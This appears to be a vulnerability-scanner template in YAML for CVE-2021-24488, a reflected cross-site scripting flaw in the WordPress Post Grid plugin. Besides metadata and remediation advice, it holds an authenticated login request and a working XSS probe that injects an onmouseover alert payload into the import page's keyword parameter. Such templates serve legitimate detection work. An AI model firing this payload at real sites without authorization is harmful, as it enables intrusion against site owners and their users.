58 lines
2.0 KiB
YAML
58 lines
2.0 KiB
YAML
id: CVE-2021-24488
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info:
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name: WordPress Post Grid <2.1.8 - Cross-Site Scripting
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author: cckuailong
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severity: medium
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description: WordPress Post Grid plugin before 2.1.8 contains a reflected cross-site scripting vulnerability. The slider import search feature and tab parameter of thesettings are not properly sanitized before being output back in the pages,
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remediation: |
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Update to the latest version of the WordPress Post Grid plugin (2.1.8 or higher) to mitigate this vulnerability.
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reference:
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- https://wpscan.com/vulnerability/1fc0aace-ba85-4939-9007-d150960add4a
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24488
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-24488
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cwe-id: CWE-79
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epss-score: 0.00302
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epss-percentile: 0.66181
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cpe: cpe:2.3:a:pickplugins:post_grid:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: pickplugins
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product: post_grid
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framework: wordpress
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tags: authenticated,wpscan,cve,cve2021,xss,wp,wordpress,wp-plugin
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Content-Type: application/x-www-form-urlencoded
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Cookie: wordpress_test_cookie=WP%20Cookie%20check
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log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
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- |
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GET /wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(document.domain)// HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'value="\"onmouseover=alert(document.domain)/">'
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- 'Post Grid'
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502203b4f27e2e4cee9b19471605b2e294447f33ea05ca80783ded88d99350338d5f1022100d7ceec072b348874c66c97f271a9a8b5aae32b42049d3289c82c2c525461bc2e:922c64590222798bb761d5b6d8e72950
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